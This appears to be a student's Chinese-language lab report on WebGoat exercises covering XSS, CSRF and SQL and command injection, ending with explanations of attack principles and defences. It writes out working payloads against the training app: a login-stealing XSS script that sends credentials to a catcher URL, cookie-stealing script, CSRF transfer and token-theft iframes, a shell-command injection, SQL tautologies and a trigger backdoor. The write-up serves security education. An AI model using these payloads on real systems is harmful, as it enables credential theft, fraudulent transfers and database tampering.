博客目錄
一、實踐內容
- 跨站腳本攻擊XSS
- 跨站請求偽造CSRF
- SQL注入攻擊
- 二、實驗中遇到的問題及解決
- 三、基礎問題回答
四、實驗總結
一、實踐內容
- 本實踐的目標理解常用網絡攻擊技術的基本原理。Webgoat實踐下相關實驗。
具體過程:
- 跨站腳本攻擊XSS
- 跨站請求偽造CSRF
- SQL注入攻擊
跨站腳本攻擊XSS
- 使用XSS釣魚(Phishing with XSS)
- 使用XSS和HTML插入,將html插入到請求憑證中,添加JavaScript實際收集憑據,將請求憑證發布到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...這谷歌翻譯的是人話嗎。。我理解的意思是html的源代碼是可以被修改的,生成一個包含form的html,并且寫一個js實現將form提交的內容發送給攻擊者,這里用彈窗alert做示例,既然彈窗能做到,那么偷偷將數據傳給攻擊者也是沒問題的。
- 代碼如下:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + " Password = " + document.forms[0].pass.value); //將輸入框里面的內容獲取并顯示 XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";} //將這些信息發送給捕獲這些信息的WebGoat。 </script> <form> <br><br><HR> <H3>This feature requires account login:</H3> <br><br>Enter Username:<br> <input type="text" id="user" name="user"><br>Enter Password:<br> <input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <HR>
- 生成的html網頁
- 彈窗成功
- 反射性XSS(Reflected XSS)
- 當在輸入框中插入腳本,點擊提交后能立即看到效果,數據傳到了后臺,就是反射性XSS攻擊。在輸入框中輸入
<script>alert("You're an idiot!");</script>
,提交后就可以看到彈窗,說明我們也可以寫一段腳本把數據傳到某個網址或者服務器?
- 當在輸入框中插入腳本,點擊提交后能立即看到效果,數據傳到了后臺,就是反射性XSS攻擊。在輸入框中輸入
CSRF攻擊
- 跨站請求偽造(CSRF)
- 跨站請求偽造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。
- 當受害者的瀏覽器試圖打開頁面時,它會使用指定的參數向 圖片包含的網頁的頁面發送請求。瀏覽器認為將會得到一個圖片,但實際上是一種資金轉移功能。該請求將包括與網站相關的任何 cookies。因此,如果用戶已經通過網站的身份驗證, 并有一個永久的cookie,甚至是當前會話的cookie,網站將沒有辦法區分這是否是一個從合法用戶發出的請求。通過這種方法,攻擊者可以讓受害者執行一些他們本來沒打算執行的操作,如注銷、采購項目或者這個脆弱的網站提供的任何其他功能。
- 在這一課中,您的目的是向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。無論誰收到這封郵件,并恰好已經通過身份驗證,他的資金將會被轉走。
- 在消息框中嵌入html代碼。
<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>
注意Screen和menu參數在網站右邊查看,每個人不一樣;關于是localhost還是127.0.0.1,你自己登陸WebGoat的時候用的是啥這里就寫啥,對應不上可能沒法做題。 - 在Message List中生成以Title命名的鏈接,點擊進入后,攻擊成功
- 繞過CSRF確認(CSRF Prompt By‐Pass)
- 網頁中所有手動發起的請求操作,其實質是通過 HTML+JavaScript 向服務器發起請求。
- 我們的目標是給新聞組發送一封帶有多個威脅請求的 Email。第一個請求用戶資金轉賬,第二個用于自動處理第一個請求所觸發的確認。URL必須使用以下兩個外部參數“transferFunds=4000”和“transferFunds=CONFIRM”。可以通過在左側鏈接中右鍵鼠 標,復制快捷方式完成URL獲取。任何收到該郵件的人若正好已經通過認證,則當其訪問該頁面時將自動完成資金轉賬。
- 同樣的,不同WebGoat環境的URL中“Screen”和“Menu”參數可能會有所區別。使用當前訪問URL中正在使用的參數。
- 造一個類似于 CSRF 實驗中的圖片或 iframe 標記:
<img src="http://127.0.0.1:8080/attack?Screen=272&menu=900&transferFunds=5000" width="1" height="1" />
該圖片請求不會導致資金轉移,而是觸發一個需要用戶確認的信息。 - 代碼如下:
<iframesrc="http://127.0.0.1:8080/WebGoat/attack?Screen=272&menu=900&transferFunds=5000" id="myFrame" frameborder="1" marginwidth="0"marginheight="0" width="800" scrolling=yes height="300" onload="document.getElementById('frame2').src='http://127.0.0.1:8080/WebGoat/attack?Screen=272&menu=900&transferFunds=CONFIRM';"> </iframe> <iframeid="frame2" frameborder="1" marginwidth="0" marginheight="0" width="800" scrolling=yes height="300"> </iframe>
- 第二個請求必須在第一個請求結束后被載入。所以需要添加js以實現在第一個請求結束后自動載入第二個:在第一個 frame 的屬性中添加onload參數,設置 src 為第二個 frame。將這段代碼提交到消息框中發表。提交后可以看到上面的frame是顯示了用戶確認信息,是之前的請求所觸發的結果。第二個frame顯示的是我們偽造的確認請求觸發的結果:5000元已經轉賬。刷新頁面可以看到完成課程。
對于圖片來說,如果載入的是一個 HTML 則會觸發一個錯誤。所以此處可通過替換 onload 屬性,實現工具目的。
<img src="attack?Screen=272&menu=900&transferFunds=5000" width="1" height="1"> <img src="attack?Screen=272&menu=900&transferFunds=confirm" width="1" height="1">
- 在輸入框中插入代碼,提交消息后點擊頁面,刷新后通過。
- 繞過 CSRF Token(CSRF Token By-Pass)
- 跨站請求偽造攻擊(CSRF/XSRF)欺騙已獲取系統信任用戶點擊帶有偽造請求的頁面從而執行相關命令。
- 基于 Token(令牌)的請求認證用于阻止此類攻擊者。該技術在請求發起頁面插入 Token。Token 用于完成請求和并驗證該操作不是通過腳本執行的、網頁中所有手工發起的請求操作,其實質通過 HTML+JavaScript 向服務器發起請求。
- “與 CSRF 課程類似,您的目標是給新聞組發送包含惡意請求的 Email 實現資金轉賬。為了成功完成欺騙,您需要獲得一個驗證請求 Token。顯示轉賬表單的 URL 類似于 CSRF 課程 中使用的外部參數"transferFunds=main"。載入該頁面,讀取 Token 并追加到偽造請求中以實現資金轉賬。”
- 查看網站生成的資金轉賬頁面的表單內容。
http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main
查看源代碼,看到Token參數
<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='#attack/296/900' enctype='application/x-www-form-urlencoded'><input name='transferFunds' type='text' value='0'><input name='CSRFToken' type='hidden' value='920130483'><input type='submit'></form>
- 由此可以看到偽造命令需要提交CSRFToken參數,在一個 iframe 中載入頁面,然后從該 frame 中讀取出 Token。 下面查看網頁源代碼,找到 Token 參數。
- 從教程里面找了段代碼, 通過 frame‐>form 的路徑可以讀取并保存 CSRFToken 參數。
<script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" > </iframe> <iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main" > </iframe>
- 點擊后會彈窗顯示token。
SQL注入攻擊
- 命令注入(Command Injection)
- 在正常的參數提交過程中,添加惡意的代碼,往往能夠得到以外的收獲,比如執行系統命令。
- 點擊firebug,就是工具欄的蟲子(bug),調試網頁源代碼。
- 在所請求的頁面源代碼中添加
"& netstat -an & ipconfig"
,添加到哪里呢?哪里都行,復選框里面某一項,后面加上雙引號,就會執行這條系統命令。 - 可以看到命令所產生的效果:
- 數字型SQL注入(Numeric SQL Injection)
- 在 station 字段中注入特征字符,能組合成新的 SQL 語句。
SELECT * FROM weather_data WHERE station = [station]
,通過注入SQL字符串的方式查看所有的天氣數據。 先來看不攻擊的情況,查看哥倫比亞看到的就是哥倫比亞的天氣。
- 這個很簡單,同樣是查看源代碼,在比如說哥倫比亞天氣
value=101
里面加入一個or 1=1
,因為1=1是恒等式,加上or就使得這一個sql語句變成了SELECT * FROM weather_data WHERE station = 101 or 1=1
,這樣station右邊的等號永遠成立,也不會查找station=101的城市天氣,直接select全部城市的天氣。 - 全部城市的天氣都能看到:
- 在 station 字段中注入特征字符,能組合成新的 SQL 語句。
- 日志欺騙(Log Spoofing)
- 灰色區域代表在 Web 服務器的日志中的記錄的內容。我們的目的是使用戶名為“admin” 的用戶在日志中顯示“成功登錄”。
- 可以通過在日志文件中插入腳本實現。
- 在文本框中輸入用戶名
webgoat Login Succeeded for username admin
,這樣用戶名信息在同一行顯示,沒什么用。如果我們能在這一行中加入回車之類的,不就可以變成兩行了啊,加入回車(0D%)和換行符(%0A),在username中填入webgoat%0d%0aLogin Succeeded for username: admin
,可以看到本來只有一行的Login failed
變成了兩行,下面是我們的邪惡目的Login Succeded for username : admin
。 - 這說明我們可以向日志文件中添加惡意腳本,腳本的返回信息管理員能夠通過瀏覽器看到。
admin <script>alert(document.cookie)</script>
作為用戶名輸入,管理員可以看到彈窗的cookie信息。
- 字符串型注入(String SQL Injection)
- 由于網頁的html代碼中,給password的框限定了最大長度為8,我將其修改至30。否則要注入的永真式長度大于最大長度將會注入失敗。
以用戶Neville登錄,還是以永真式的形式輸入密碼·Smith' or 1=1 --·:
- 攻擊成功,得到所有人員列表:
10.數據庫后門(Database Backdoors)
數據庫通常作為一個Web應用程序的后端來使用。此外,它也用來作為存儲的媒介。它也可以被用來作為存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另一個數據庫操作,如insert,select,update or delete。舉個例子:攻擊者可以創建一個觸發器,該觸發器在創建新用戶時,將每個新用戶的Email地址設置為攻擊者的地址。我們的Login ID是101.
- 步驟:
- 輸入101,得到該用戶的信息:
- 輸入注入語句101; update employee set salary=10000(由于要執行兩個語句,中間需要用分號分隔):
- 使用以下查詢條件,添加觸發器:101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid,便可看到攻擊成功:
二、實驗中遇到的問題及解決
1.jdk不匹配
解決:根據同學提供的教程下載了1.8,這一版本適配webgoat7.0
三、基礎問題回答
1)SQL注入攻擊原理,如何防御
- SQL注入即是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者可以在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非授權的任意查詢,從而進一步得到相應的數據信息。
- SQL注入攻擊的典型手段:判斷應用程序是否存在注入漏洞,收集信息、并判斷數據庫類型,根據注入參數類型,重構SQL語句的原貌,猜解表名、字段名,獲取賬戶信息、攻擊web或為下一步攻擊做準備。
- 至于如何防范SQL注入攻擊,首先是將普通用戶與系統管理員用戶的權限分離,加強對用戶輸入的驗證,杜絕各種符號的使用。測試字符串變量的內容,只接受所需的值。拒絕包含二進制數據、轉義序列和注釋字符的輸入內容。這有助于防止腳本注入,防止某些緩沖區溢出攻擊。測試用戶輸入內容的大小和數據類型,強制執行適當的限制與轉換。這即有助于防止有意造成的緩沖區溢出,對于防治注入式攻擊有比較明顯的效果。
2)XSS攻擊的原理,如何防御
- XSS又叫CSS(Cross Site Script),跨站腳本攻擊。因為和CSS層疊樣式表重名,改叫xss。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的,獲取用戶的一些信息。
xss攻擊可以分成三種類型,存儲型和反射性和DOM,反射型攻擊經過后端,不經過數據庫;存儲型經過后端,經過數據庫。DOM:不經過后端,DOM—based XSS漏洞是基于文檔對象模型Document Objeet Model,DOM)的一種漏洞,是通過url傳入參數去控制觸發的。 - 想要防御XSS攻擊主要通過在表單提交或者url參數傳遞前,對需要的參數進行嚴格過濾;還有就是檢查用戶輸入的內容中是否有非法內容,如尖括號
<
,>
、引號"
,'
等,嚴格控制。
3)CSRF攻擊原理,如何防御
- CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。
- 目前防御 CSRF 攻擊主要有一下策略:在 HTTP 頭中自定義屬性并驗證。通過 referer、token 或者 驗證碼 來檢測用戶提交。盡量不要在頁面的鏈接中暴露用戶隱私信息。對于用戶修改刪除等操作最好都使用post 操作 。避免全站通用的cookie,嚴格設置cookie的域。
四、 實踐總結與體會
做實驗的時候剛上完信息系統安全,上次課講得sql注入攻擊,這節課講了xss攻擊,相當于復習了一波,也有了新收獲,實驗上完了,知識留下了,感覺闊以。。